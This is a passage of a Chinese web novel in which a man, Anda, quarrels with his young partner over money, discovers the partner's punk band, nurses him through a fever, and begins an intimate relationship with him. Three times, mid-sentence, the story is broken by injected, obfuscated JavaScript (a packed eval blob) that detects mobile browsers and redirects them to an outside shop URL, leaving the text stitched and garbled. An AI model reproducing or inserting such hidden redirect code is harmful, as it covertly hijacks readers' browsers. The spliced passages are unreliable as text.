安达难以置信地望着他:“从昨晚到现在,少说也十几个小时了吧?难道十几个小时连看一下手机的时间都没有吗?你哪怕抽空给我回个消息报个平安呢……我担心你出了什么事,差点就去报警了!” 纪屿欢仿佛被他的话语激起了逆反心态,眉宇间露出些许不耐烦的神色,“一万块钱而已,我以后会还给你的。” “这不是还不还的问题!”安达提高声音,“那是一万块,不是十块二十块!” 纪屿欢的脸色彻底冷了下来,那双漂亮的杏眼里没了笑意:“哥,当初是你说要疼我,密码也是你自己告诉我的。你既然不想让我花钱,当时又为什么要把密码告诉我。更何况,我只是暂时借用一下而已。” 安达也气急了,头一次在纪屿欢面前骂出了脏话,“靠!纪屿欢,你要花钱可以,我哪次不让你花了吗?可是你起码得跟我商量一下吧?你一声不吭就把这么大笔的钱花出去了,把我当什么了?” 纪屿欢冷笑一声,双手抱胸,“那你呢?哥,你又把我当什么了?” 安达一愣,“我……我把你当……” 纪屿欢脸色苍白如纸,眉眼间却带着倔强之意,逼视着安达,“哥,你觉得那一万块我拿来干嘛了?是拿来赌博了?吸毒了?还是点个模子享受了?” 安达觉得纪屿欢不会做这样的事,可是他还在气头上:“我、我怎么知道你拿去干什么了!你又不工作,知道一万块钱要存多久吗?” 纪屿欢定定地看着他,眼神中分明是浓浓的疲倦和失望。“哥,你要是觉得我是这种人,那你就把密码给改了吧。” 安达一听更来气,“老子用了十几年的密码,凭什么为你改了?呸,我就当我看错了人,我认栽!” 纪屿欢眼底似乎掠过一丝极其细微的波动,但很快被更深的烦躁所取代。他别开脸,语气生硬道:“随便你怎么想,我累了。” 说完,他不再看安达,径直走向卧室,砰地一声关上了门。 安达重重往沙发上一躺,胸口那股气还堵着,上不去下不来。他望着天花板,头一回觉得自己家的空间这么逼仄这么憋屈。纪屿欢这臭小子,年纪不大脾气倒不小,果然白捡来的便宜媳妇就不可能是什么好东西! 他自认为对纪屿欢够可以了。管吃管住,嘘寒问暖,连银行卡密码都交了底。 虽然他承认自己目的不纯,急着给孩子找个爹,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547876|204228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那份想要好好过日子的心不是假的。结果呢?换来的就是夜不归宿、杳无音讯、擅自转账,想到纪屿欢理直气壮的样子,他简直气得牙痒痒。 他气冲冲地进了厨房,给自己倒了一杯水。在经过垃圾桶里的时候,余光瞥见里面有一团黑色揉皱的纸。安达脚步顿住,鬼使神差地蹲下身,将它捡了起来,在茶几上摊平。 那是一张乐队演出的海报,总共四个人,正中央的纪屿欢一头粉发,半跪在地上,手拿话筒,笑得恣意张扬,他向着前方张开手掌,眼神中满是自信和激情。他的左右站着一男一女,穿着黑色的哥特式装束,分别拿着一长一短的两把吉他,如同中世纪的骑士,神情冷峻地盯着前方。 他后方那个男人似乎是个打鼓的,雌雄莫辨,一头长长的金发几乎将半张脸都盖过,散发着浓浓的颓废气息。他唇角微微勾起,左手高举着一支鼓棒,像是高举着一把旗帜,如一个驰骋沙场的帝王。 照片正下方写的那串洋文,似乎是乐队的名字——“THE EDEN”。 安达不认识,只能对着这串洋文冷哼一声,“这什么啊,the……?起这种名字,多半要倒闭。” 整张海报上,用红色的油性记号笔,画了一个巨大的红叉。两笔的交界处,正好在纪屿欢的脖子上,紧紧地扼住他的咽喉,仿佛将他架在了绞刑架上一般。 安达将那张海报翻来覆去看了又看,直觉照片里的纪屿欢和他认识的那个有哪里不一样,更漂亮也谈不上,只觉得好像要更生动鲜活一些。 他嘟囔道:“哼,这种照片肯定都是p图的。” 其实他能猜到,纪屿欢会把这张海报扔进垃圾桶里,多半是在乐队上碰到问题了,前两天偶然听他说起过,说是乐队里的吉他手和鼓手有矛盾什么的。但这也不是他一声不吭直接失联的理由啊!这种行为简直是太混蛋了! 安达将那张海报重新揉回一团,用力地甩回垃圾桶里,大剌剌地往沙发上一瘫,仰头望天。 这一躺却躺不住了,安达脑海里总是浮现出纪屿欢的样子。他在海报上意气风发的样子,他一贯笑眼弯弯叫他“哥”的样子,还有他今天回来时……面色惨白的样子。 安达又鬼使神差地走回垃圾桶旁,第二次将海报捡了起来。一边捡一边想:这种行为属实是在犯贱。 他对着海报,一个字母一个字母地将乐队的名字输入社交媒体。 首页跳出来的全都是些不相干的内容,安达翻了好久,才终于翻到一条演出视频。 他点了进去,突如其来的巨大音量将他吓了一跳,他怕被纪屿欢听见,连忙狂按了一通音量键,跟做贼似的。 他倒要看看这个臭小子到底在搞些什么,值得他在外面浪成那样。 他注视着屏幕,听着扬声器里传来的音乐,带着细微的电流音,有些失真。他承认,他是带着偏见看的,他看着、听着,却不自觉屏住了呼吸。 这是一个他完全不了解的世界,混乱、无序、狂放、原始,镜头晃动着,在拥挤而躁动的人群中穿行。 沉重的低音、失控的鼓点,还有悬浮在那之上,高昂而热烈的歌声。那歌声有些沙哑,几乎没有什么圆滑的技巧,只有竭尽全力、近乎痛苦的原始宣泄。 歌词已无法辨清,只剩下高涨到快要决堤的情绪。 愤怒、虚无,亦或是某种濒临失控的兴奋。 安达从来不知道,歌还能这样唱。 他也从来不知道,纪屿欢身上有这样的一面。 8. 08 激昂的歌声一点一点冲刷着他的认知。作为一个年过三十、完全不懂音乐的beta,他的身上仿佛有什么东西被撼动着。恐怕在他人生的前29年里他都不会想到,有一天自己可能会和一个唱朋克乐的对象结婚。 音乐的节奏逐渐加快,台下一片沸腾,尖叫和欢呼夹杂在乐声里,震耳欲聋。 安达仿佛被带入了那个酒吧的现场,所有人都在为音乐而狂热。他的心跳也不自觉地加快,跟随着鼓点而跃动。 咚!咚咚!咚!咚! 正在全场的情绪被推至最高点时,纪屿欢的歌声戛然而止! 那个刚刚还在用尽全身力气嘶吼的粉色身影晃动了一下,他手里紧紧攥着的麦克风脱手,“哐”一声撞击在了效果器上,爆发出一阵刺耳的啸叫。 见此情形,台下一片混乱。纪屿欢似乎在忍受着极大的痛苦,紧紧地捂着耳朵,身体颤抖如秋叶,最终脱力般跪倒在舞台上。镜头剧烈地摇晃、旋转,观众们爆发出更加混乱的惊呼和尖叫,淹没了残余的乐声。 画面边缘,一个蓄着长发、身形高瘦的身影猛地冲上前,在纪屿欢即将撞上舞台的前一秒,险险地接住了他。 接下来的画面变得混乱而模糊。那个长发男人搂着纪屿欢下台,纪屿欢就靠在他的怀里,亦步亦趋。 他的脑袋无力地垂在男人的肩头,刚刚还充满生命力与爆发力的身体,此刻软绵绵地倚靠在那个男人身上,毫无生气。 视频结束了。屏幕黑了下去,映出安达自己怔忪的脸。 他下意识又看了一眼视频的发布时间,是在半个月前,比他们认识的时间还要早。 他的心里一时间冒出无数问题:纪屿欢怎么了?那个男人又是谁? 看来纪屿欢是真的身体不好,才会在激烈的演出中途脱力倒下。 安达打开评论区,大多是在说“好心疼Riann,一定要注意身体”云云。看来,Riann就是纪屿欢的艺名。 他往下翻,最新一条映入眼帘:Eden真的是我这几年听过最好的地下乐队了,听说他们要解散,真的好可惜。 解散? 他此时又回想起纪屿欢刚回来时面色苍白的样子,还有海报上的红叉,心里不由百味杂陈。 婚姻本来就是要两个人相互磨合的,虽然纪屿欢失联是不对,可他自己未免也太冲动。或许是受激素影响,他最近的脾气也挺差的,总是一点就着,跟吃了火药似的。 安达不由觉得有些自责。纪屿欢说过自己早早就和家里断绝了关系,所以从来没有人教过他家人之间应该怎么相处,他又还那么年轻,有些任性的地方也是难免。 安达觉得,自己作为年长的一方,理应承担更多责任,才对得起纪屿欢叫的那声“哥”。 而且,看纪屿欢他们乐队出问题,他的心里一定很难过,可是他连问都没问一句,就开始指责了。 他有些坐不住了,视线不由自主地瞟向紧闭的卧室门,耳朵竖起仔细捕捉从房间里传来的动静。可是他什么声音也没听见,只有窗外隐约传来小区楼下孩子们玩耍的喧闹声。 “他该不会是……病了吧?”这个念头一旦冒头,就开始疯长。纪屿欢之前就说过身体不好,而且那个视频里他也突然倒下了,虽然安达不太清楚他的身体到底有什么问题,但总归是底子差。而且纪屿欢昨晚一夜未归,不知道在哪混的,今天回来脸色又那么差…… 安达终于忍不住了,从沙发上一骨碌爬起来,蹑手蹑脚走到卧室门口。 他深吸一口气,却忽然听见卧室里传来“砰”一声闷响,随后是压抑到极致的抽气和喘息声。 安达心头一跳,终于不再犹豫,猛地推开了卧室房门。 房间里窗帘紧紧拉着,光线昏暗,只能在床边看见一团灰影。 安达疾步过去,才发现那团灰影竟然是纪屿欢。他似乎是从床上摔到了地上,连带着被子和枕头也一起滚了下来。他的身体微微发颤,修长的双腿蜷缩起来,脸埋在臂弯里,发出压抑痛苦的抽气声。 “纪屿欢!”安达慌忙跪下,想把他扶起来,指尖刚一碰到他的皮肤,滚烫的温度就让他心惊肉跳。 “别碰我……”纪屿欢挣扎了一下。他的声音本就有些沙哑,此刻更是嘶哑粗粝得吓人,仿佛年久失修的窗户被冷风吹得咯吱作响。 “你、你怎么了?你别吓唬哥……”安达强行将他半抱起来,挪到床上。 灯光下,纪屿欢的脸色苍白如纸,额发被冷汗浸透,呼吸急促,毫无血色的嘴唇轻轻颤抖着。 “我没事,”他倔强地说,“你不用管我。” “你这臭小子,都什么时候了还这么倔!”安达急了,“你发烧了!什么时候开始的?怎么都不跟我说?” “没事的,哥,”纪屿欢嘴角勾出一抹仓皇的笑意,“不用管它,过一会儿就没事了。” “这哪能不管呢?”安达急道,“你看看你像没事的样子吗?我打个车送你去医院!” 他刚要起身,却忽然被一只手抓住了衣角。那是一只骨节分明的手,抓他抓得极紧,紧到指节发白,仿佛是从冰水里浸出来的一样。 “别走,哥,”这声音近乎呢喃,又近乎哀求,“就在这里陪我一会儿,好吗?” 安达僵了僵,缓缓转过身,在床边坐下。他印象里的纪屿欢明媚张扬、伶牙俐齿,他还是第一次见他这样脆弱无助的样子。 他替纪屿欢盖好被子,又伸手探了探他额头的温度,忧心道:“真的不用去医院?” “没事,我的身体我心里有数,就算去医院也没用,无非是用抑制……咳咳……咳!这是老毛病了,你不用担心我。” 他咳嗽的样子仿佛是要将五脏六腑都咳出来,安达听着心惊,犹豫了一会儿还是问道:“……到底……是什么病?怎么会发烧呢?” 纪屿欢嘴角勾出了一抹苍白的笑意,“哥,你别问了。是一种罕见病,说了你也不知道。你放心,这种病治不好也死不了,所以不用治,花不了你的钱。” “胡说什么!都病成这样了,你可闭嘴吧!”安达又气又急,手忙脚乱地从抽屉里翻出了体温计和退烧药,又拧了湿毛巾覆盖在纪屿欢的额头上。 “咳咳,咳!”纪屿欢又剧烈地咳嗽起来。安达急忙将他扶起来一些,轻轻拍着他的脊背,替他顺气。 纪屿欢的咳嗽渐渐平息,脱力般靠在他肩上。 他的呼吸逐渐平复,轻轻叹了一口气,忽然开口道:“哥,我明天就搬走。” 这句话来得突然,安达一时间没反应过来,愣愣问道:“你说什么……” 纪屿欢的语气加重了些,神色冷淡:“我不适合待在这里,明天就搬走。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547877|204228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安达又惊又气,“你、你为什么突然这么说?!你是嫌我没照顾好你,还是嫌我太抠门?纪屿欢,不带这样的吧,虽然我没什么钱,可是也从来没有短了你的。你要吃什么穿什么,哪次没有满足你?就因为那一万块钱,你就不肯跟我过了?!” 纪屿欢看着他,神色晃动了一下,那双漂亮的杏眼里逐渐浮现出一丝悲哀,他垂下头,笑了笑,“不是的。哥,你……是一个好人。” 这是什么意思?是给他发好人卡来了?! 安达手足无措道:“那到底是为什么?难道……难道是因为你的病?你怕我嫌弃你?我一点也不嫌弃,真的!谁三天两头没个头疼脑热的,这有什么大不了的,我会照顾你的啊……” 安达越说越觉得心酸。 纪屿欢垂眼,只是摇头,“哥,我们不合适。” “哪里不合适?你给我说个清楚。” 纪屿欢只是自顾自地说下去,“那一万块钱,就当是我问你借的,等以后我有钱了就还给你。” 安达愣住了,心里逐渐凉了下来。 当初第一次见纪屿欢的时候,他觉得他们两个不是同一个世界的人。没想到相处下来,又觉得家里多这么一个人的感觉也挺好的,有人会夸赞他做的饭菜,晚上和他躺在同一个被窝里,说一些体己的话。说到底,他想要的不就是这样的家庭吗? 结果,就因为钱的事情吵了几句,纪屿欢就受不了了,不肯跟他过了,这换谁能受得了? “谁他妈要你还钱,”安达鼻子发酸,“说白了你不就是嫌我穷酸吗?我穷是穷,可我也不小气,我把密码告诉你,就是把你当家人,结果你说走就走,把我这儿当什么了?旅馆吗?” 纪屿欢的眸光晃动了一下。 安达颓然地垮下肩膀,抹了把脸,“算了,就当我傻,你把病养好就走吧。” 他说完这番话,觉得自己该说的都说了,想起身潇洒离去,结果站起到一半,却被一股力拽着,又一屁股坐了回去。 安达顿时恼羞成怒,“你还抓着我干什么呢!” 他回过头,却在看见眼前景象的瞬间,心脏不由自主地停滞了一拍。 纪屿欢双眼通红地望着他,好像哭了,纤长的睫毛下泪光晃动。 “哥。”他轻声叫道。 安达最见不得别人哭,看见纪屿欢这副我见犹怜的样子,早就心疼得不行,可还是嘴硬道:“我告诉你,是你自己要走的,你哭得再凶也赖不到我的头上。” “哥,”纪屿欢的眸子中泪光晃动,“你说,我是不是错了?” 他垂下眼,露出一抹苦笑,“我一直觉得……像我这样的人,就只能永远都这样下去了。搞不好哪一天,就不声不响地死了。” 安达急忙阻止他:“你说什么呢?别说这么不吉利的话!” 纪屿欢摇摇头,语调苦涩:“我是个音乐的亡灵,我什么也没有,什么也做不到。我被困在一个白色的房间里,一切都是空茫茫的,能感受到的只有时间:过去、现在,还有不知道多久才会来临的未来。所以,我不停地挥霍着时间,拼尽全力地呐喊,可是我只是想抓住它罢了。” 不管付出了多少,所有事情都只会走向毁灭。他只能凝望着不可抵达之物,徒劳地追寻罢了。 他望着安达,声调带着些许颤意:“哥,你说我是不是很可笑?” 9. 09 卧室里安静极了。 安达沉默地盯着他,将他从头到脚打量了了一遍,一脸严肃地问道:“纪屿欢,你是不是小时候没有好好学习啊?” “啊?”纪屿欢被这个没头没脑的问题给弄懵了,未干的泪浸着下眼睑,将落未落。他看了安达半晌,才意识到安达好像是认真的。 他的第一反应是:这个大叔什么脑回路,有病吧。 安达见他呆愣着不回答,便当他是默认了,长叹一声,一把勾住了他的肩膀,将他揽进了怀里,“唉,可怜的孩子啊……” 纪屿欢莫名其妙地被抱住,被迫将脸埋进安达的毛衣里。是最普通的那种棉线毛衣,起球严重,触感粗糙,但味道却意外地好闻,散发着一股淡淡的洗衣液清香。 纪屿欢挣脱出来,说:“哥,你突然说这些做什么。” 安达一脸同情地叹了口气,“看你没怎么念过书的样子,哥心疼啊。我记得这个在小学里就学了吧,结果你竟然连这么简单的道理都不懂。” 纪屿欢觉得荒谬极了:“我不懂什么了?!” “你刚刚说了那么多,意思不就是说你挥霍时间、觉得很空虚什么的吗?可是我记得以前学过一篇课文就是讲这个的,”安达语重心长地拍了拍他的肩膀,“是什么来着?对了,要把有限的生命,投入到无限的为人民服务中去。” 纪屿欢:? 安达想了想,又说:“还有一句是什么来着,时间就像拖把里的水,只要挤一挤,总还是有的?” 纪屿欢一时无语凝噎。这个大叔知道自己在说些什么吗? 他小声嘟囔道:“那是海绵吧。” 安达根本就没听清纪屿欢说了什么,他被一股油然而生的责任感填满了,觉得自己有义务好好开导一下纪屿欢。 他松开纪屿欢,清了清嗓子,掰着指头给他数,“第一,你离死还远着;第二,有哥罩着你呢。你就该吃吃该睡睡,生病了就吃药,不要想那么多有的没的。” 纪屿欢张了张嘴,“我只是觉得——” “你觉得以后的日子没有希望了,看不到头,对吧?”安达接过他的话。 纪屿欢怔了一瞬,随后默然点了点头。 安达叹了口气,拍了拍他的肩膀,“三年前我老爹生病的时候,我也有这种感觉,那时候每天一睁眼就愁啊,不知道怎么办才好。” “可是就这样也过来了。你说你挥霍时间,但时间哪是人能控制的东西呢?它就在那儿走啊走,你吃饭它走,你睡觉它走,你……你搞你那乐队的时候它也走。你说你挥霍它,它理你吗?它才不理你呢!该难受还是难受,但是也不知不觉就到现在了。” 安达一时陷入了回忆里,有些感慨:“你知道我当时最难受的时候,干了什么事吗?” 纪屿欢摇摇头。 “我难受的时候,我就做饭。”安达说。 “做饭?” 安达点点头,“最开始只是图个心理安慰,想让老爹吃得健康点,后来我一想,反正也是做,不如多做几个人的,然后我就做了饭拿到医院去卖。医院的盒饭卖十五我就卖十块,都是病人和家属,我也不想挣他们的钱,我用的材料都是好的,就是想让老爹吃得好一点。” 纪屿欢垂下眼,不知道在想些什么:“后来呢?” “后来啊,有其他的家属听说了,就来帮我一起做,多的时候有八九个帮厨呢,大家聚在一起吵吵嚷嚷的,好像忽然就忘记难过了,看见病人吃了我们做的饭,也特别有成就感,特别开心。” “虽然哥不是特别清楚你遇到了什么事,但大事小事,总归会过去的嘛。不知道做什么的时候也不要让自己闲下来,给自己找点事做,难熬的时间不知不觉就过去了。” 看着这个大叔一本正经地发表着长篇大论,纪屿欢有些哭笑不得。他的心里好像被戳开了一个小口,漏进去一点陌生的酸涩。 “我……”纪屿欢哽了哽,发现自己什么也说不出来。就好像他赖以为生的绝望,在这个什么也不懂的beta面前,突然变成了一种幼稚。 安达说:“我说这些也不是想说你不对……我就是想说……有哥在呢。你现在最要紧的就是把病养好。还发烧呢吧?刚摸着可烫手了。” 他不由分说地按着纪屿欢的肩膀,将他按回了床上,又把他踢到一旁的被子扯过来,严严实实地裹在他身上,动作熟稔地替他掖好被子。 “钱的事,”安达在床边蹲下,看着纪屿欢被被子裹得只剩苍白的脸蛋和乱糟糟的粉色头发在外头,闷声道,“以后要用,提前跟哥说一声。急用……急用也行,但得让我知道你平安。” “这不是钱的事,我就是……”安达有些不好意思地顿了顿,“怕你出事。” 纪屿欢躺在柔软的被窝里,高烧带来的眩晕和安达说的那一通莫名其妙的话让他感到一阵茫然。 他看着安达近在咫尺的脸,尽管被时间打磨得略显粗糙,却依然称得上清秀,是那种看着让人很舒服的脸。 那张脸上有担忧、有认真,还有一丝没完全消褪的、因为被误解而产生的委屈。 荒谬。可笑。纪屿欢冰凉的手指在被子里不自觉地蜷缩了一下。 但是,还算有趣。 他闭上眼,浓密的睫毛在在苍白的皮肤上投下浅浅的阴影,“……知道了,哥。” “那你明天还走不?”安达有些紧张地问道。 纪屿欢没有直接回答,只是问,“哥,你不想让我走吗?” “当然不想了!因为……”安达不假思索,又及时反应过来住了嘴。 “为什么不想?”纪屿欢问道。他一笑,脸颊上就凹进去两个圆圆的酒窝。 安达叹了口气,垂头道:“哥的情况你也知道,年纪也不算小了,家里人催着呢。咱们……咱们也相处了一段时间了,也算得上熟悉了,碰上一个……可心的……也不容易,我也不想总是折腾来折腾去的,所以……所以……” 安达越说脸上越烫,让他一老大不小的人说这种话实在是难为情得很。 纪屿欢望着他,瞳孔黑而亮,“所以什么?” “所以……”安达结巴许久,终于想出了一种比较委婉的说辞,“所以如果你愿意的话,就留下来吧。” 纪屿欢定定地望了他一会儿,然后微笑着说:“哥,你过来一点。” 安达不明所以地朝他靠了过去。 他还没反应过来,就见纪屿欢忽然伸出了手,扣住了他的后脑勺,微微侧头,倾身朝他吻了下去。 纪屿欢的嘴唇滚烫,那灼灼的热意也沿着唇齿传导到了他的身上,令他双腿发麻,仿佛触电了一般。 略微急促的呼吸交错,纪屿欢的神情专注,眼睛微微闭着,睫毛根根分明,苍白到得近乎透明的皮肤下好像能看见细细的青筋。 在他靠近衣领的皮肤下方,有一块指甲盖大小的青色痕迹,有点像淤血。 但安达已经完全无法思考其他的事了。 从这么近的距离观察纪屿欢,安达的心跳不自觉地加快了。这实在是一张很漂亮、很漂亮的脸。 他活了三十年,一直以为自己是比较冷淡的类型,却从来都不知道,自己只是被亲了一下,就浑身发软了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547878|204228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这种事说出来都丢人。 不知过了多久,也许是几秒,也许是几分钟,纪屿欢终于松开了他,看着他发红的脸颊,微笑道:“哥,谢谢你,能遇见你是我的幸运。” 安达下意识摸摸自己滚烫的唇,语无伦次道:“有、有你这么谢的吗?你突然整那么一出,我都还没做好准备。” 他这一摸,觉得自己的嘴唇比起纪屿欢的实在是粗糙极了。纪屿欢的嘴唇湿润柔软,而他的嘴唇就跟块老树皮一样又干又裂。他忍不住想,早知道纪屿欢要亲他,他就把嘴唇上的死皮给去干净了。 “那要怎么谢?”纪屿欢似笑非笑地偏头看他,“要不然,我以身相许吧?” 安达一张老脸烫得像烙铁,只能佯装凶巴巴说:“还扯这些有的没的做什么,你还发烧呢,赶紧睡吧。” “……嗯?”纪屿欢眯着眼看了他一会儿,忽然倾身向前拽了下他的衣领。安达骤然丧失平衡,摔倒在纪屿欢身上,隔着衣料,他似乎能感受到从纪屿欢身上传来的滚滚热意。 纪屿欢贴在他耳边说:“哥,我是认真的。” 安达一个激灵,浑身的肌肉都紧绷了。 他结结巴巴道:“臭小子说说说说说什么呢?别逗你哥玩了。” 纪屿欢的神情有些受伤:“哥,难道你觉得我在开玩笑吗?” 安达热汗直冒:“还、还没到这一步呢,婚都没结……” “那是迟早的事,不是吗?”纪屿欢直视着他的眼睛,“刚刚那个吻,我的感觉很好,你呢?” 安达简直不敢直视纪屿欢的眼睛,因为他确信只要看上一眼,他就会被那惑人的光芒所俘获。 他嘴硬道:“你是不是感冒了,别传染给我了,不然可没人能照顾你了。哎你别说,这房间里还怪热的,哈哈,哈。” 纪屿欢灼热的呼吸吐在脖颈,激得安达浑身鸡皮疙瘩都起来了。“哥,这种病是不会传染的。你觉得热是因为……你其实也想要我,我说得对吗?” 他一个翻身,将安达反压在身下,开始剥去他的衣服,动作中有种急迫的渴望。 “别拒绝我,哥。” 安达的大脑完全烧断了线,他甚至不知道自己现在是该反抗,还是不该。这样算是乘人之危吗?应该不算吧,毕竟是纪屿欢主动的。可是…… “哥,哥,哥……我很难受,帮帮我好吗?别拒绝我……”轻柔的吻沿着他的脖子游走,年轻的□□紧贴着他,带着情欲的热意沿着皮肤钻入神经,缠得他几乎无法呼吸。 纪屿欢说得对,这种事迟早会发生,甚至……这是他一直在等待着的机会。他早就不是处男了,哪里有什么婚前守贞的必要呢?只要迈过去,他们就会合为一个整体,成为他一直以来梦寐以求的圆满家庭。他所有的筹谋都是为了这一刻。 所以他没有反抗,任由一切水到渠成地发展,在情热升腾到极限时,忍不住低低地哭了出来。纪屿欢垂下头,轻柔地替他吻掉泪水。 “哥,别哭啊……是我有哪里做得不够好吗?” 安达用力地摇头。 不是,一切都很好,他是因为觉得幸福才哭的。 夜晚还在继续,安达用手紧紧地捂住嘴巴,一是因为老小区隔音不好,他害怕邻居听到;二是因为……好像这样就能永远把秘密吞进肚子里,不让纪屿欢知道。 可是纪屿欢却扒开他的的手掌,将他的手倒扣在枕头上,说,想叫的话,就叫出来。渐渐地,他好像能发出声音。 一切都很好。可是为什么,望着纪屿欢充满渴求的眼神,他会觉得如此难堪呢? 10. 10 不知过了多久,两人都昏昏沉沉睡去。 第二天早上,安达醒来时,发现身边的位置已经空了。他伸手过去探,发现纪屿欢的位置是凉的。 他一骨碌爬起来,一时用力过猛,差点把老腰给折了。看了眼时钟,才早上九点,纪屿欢又不知所踪。 年轻人的体力就是好,昨晚发着烧还能那么持久,第二天还能起个大早。不像他,这一觉醒来,哪哪都疼。 他面无表情地掀开睡衣看了眼小腹,那里的弧度仍旧平坦,没什么变化,他也并未感到有什么异常。 毕竟是孕早期,发生关系还不至于会流产。 他抚摸着小腹,诚恳道:“宝宝别怕,昨晚那是地震了。” “不过你放心,你爹地身体好,地基打得可结实了,这么点动静塌不了。” 和宝宝说完话,他穿好衣服,刚走出卧室,便闻到了一股浓浓的焦味。 安达心里咯噔一下,趿拉着拖鞋就冲了过去。 眼前的景象让他瞬间定格在了原地。 纪屿欢正背对着他,身上仍旧穿着那一套浅蓝色的睡衣,外面围着安达那黑白格旧围裙,在后腰打了个歪歪扭扭的蝴蝶结,勾勒出薄且韧的腰线。粉色的短发有些蓬乱,被汗水浸湿,黏在额角。 灶台上的锅里正冒着可疑的黑烟,旁边还摊着几个散乱的鸡蛋壳。砧板上躺着几块厚博不一、奇形怪状的东西,好像是西红柿。垃圾桶里隐约可见几团黑漆漆的不明物体。 纪屿欢正拿着锅铲,试图把锅里那团焦黑的东西的东西给翻个面,锅铲和锅底摩擦发出刺耳声响。似乎是听见背后的动静,他猛地回过头,脸上是罕见的慌张和心虚。 纪屿欢像个做错事被抓包的小学生似的,干巴巴开口:“哥,你醒了?呃……我,我就是想弄点早饭,没想到……” 安达看着厨房里的一片狼藉,不由有些啼笑皆非,“你这是想做什么?” “……煎蛋,”纪屿欢的声音更小了,眼神飘忽,“但好像……火有点大。” 何止是有点大。安达走过去看了眼锅里那摊焦黑、边缘卷曲的不明物,忍不住叹了口气,“昨天还病着呢,你就不要操这些心了。来,锅铲给我。” 纪屿欢乖乖将锅铲递给他。 安达动作麻利地将锅里的东西铲了出来,丢进了垃圾桶。简单刷了刷锅后,将锅架在煤气灶上重新开了火。 安达耐心地教他,“煎蛋不难。你就先把锅上的水烤干,等锅热了,再倒油,一定得是热锅凉油……” “喏,你看,现在就可以打蛋进去了,你来吧。” 纪屿欢默默地将手中的鸡蛋在锅沿敲了一下,动作生涩地往锅里打了个蛋。蛋是打进去了,连带着一块碎蛋壳也掉了进去。 安达一边将蛋壳挑出来,一边安慰他,“没事,多练练就会了。” 纪屿欢站在一旁,尴尬极了,手脚都不知道往哪儿放。 “就像这样,”安达用锅铲轻轻推动着蛋液的边缘,“这样就不会糊,等底面定型了,再翻面。” 纪屿欢小声道:“哥,我是不是特没用,连这么简单的事都做不好。” 安达白了他一眼,“一看你就是没下过厨房的人,别为着这点小事就伤春悲秋的。做饭就是看着简单,其实要做好可难了,都是慢慢练出来的。” 安达一边说着,一边给锅里的煎蛋翻了个面:“你要么就煮个面什么的,那个简单。一上来就挑战煎蛋这么高难度的,这不是给自己找罪受嘛。” 纪屿欢沉默了一会儿,突然低声说道:“我们这些玩乐队的,是受人瞧不起的,别人只会觉得为什么要搞这种没用的东西,这辈子也搞不出什么名堂。” 安达笑了笑,“说实话,哥也不懂这些。我就是觉得,不管做什么,你自己开心就行。” “真的吗?”纪屿欢的眼睛亮了一瞬,随即又黯淡下去,“哥,我只是不想让你觉得我是个没用的人,是个好吃懒做的蛀虫。” “怎么会呢?”安达道,“你没住进来的时候,家里都只有一个人,其实也怪孤单的,果然还是要多个人,才会有家的感觉。而且,当初相亲的时候,哥不就说了会养你吗?你放心,虽然哥做不到大富大贵,但也绝对不会亏待你的。” 纪屿欢没吭声,只是默默地看着。晨光透过小窗户照进来,落在安达低垂的睫毛和专注的侧脸上。厨房里渐渐被香味萦绕了。 安达很快煎好了两个金灿灿、圆滚滚的荷包蛋。至于纪屿欢切的那些西红柿,安达将它们重新切成丁,往上撒了点白糖就成了一盘糖渍西红柿。 电饭煲里煮好了昨晚放进去的白粥,安达盛出来两碗,这样就成了一顿简单的早饭。 纪屿欢在小小的餐桌前坐下,拿起筷子,有些迟疑地夹起煎蛋咬了一口,那双漂亮的杏眼里闪过一丝近乎挫败的情绪。 “……哥,你做的真好吃。”纪屿欢低声说,却让安达听出了一点别扭的沮丧之意。 “你想学的话,下次我再教你。”安达道。 纪屿欢点了点头,含糊地“嗯”了一声。 安达道:“你今天有什么事不?今天我老爹出院,我待会儿要去医院把他接回村里。如果你没什么事的话,可以跟我一起去,和老爹见个面。” 如今他们该做的不该做的都做了,勉强算是八字有了一撇,安达想也是时候让老爹和纪屿欢见个面,尽快把这事定下来。 纪屿欢舀粥的动作顿了顿。 安达急忙补充道:“那个……你别多想,没什么别的意思,就是认识一下。到时候我发小也会一起去,搬东西什么的我们来就好,你身体弱,在边上和老爹聊聊天就行,他肯定高兴得不得了。” “要见伯父吗?可是……我还什么都没准备,”纪屿欢垂眸道,“伯父大病初愈,我两手空空地过去,这也太不像话。” 安达道:“你放心,我老爹不会介意这个的,他要是知道我谈了对象,高兴还来不及呢。” 纪屿欢还是摇了摇头,“我现在还没完全好,肩不能抗手不能提的,让伯父看了笑话。还是等以后有机会再见吧,我也想给他留下好印象。” 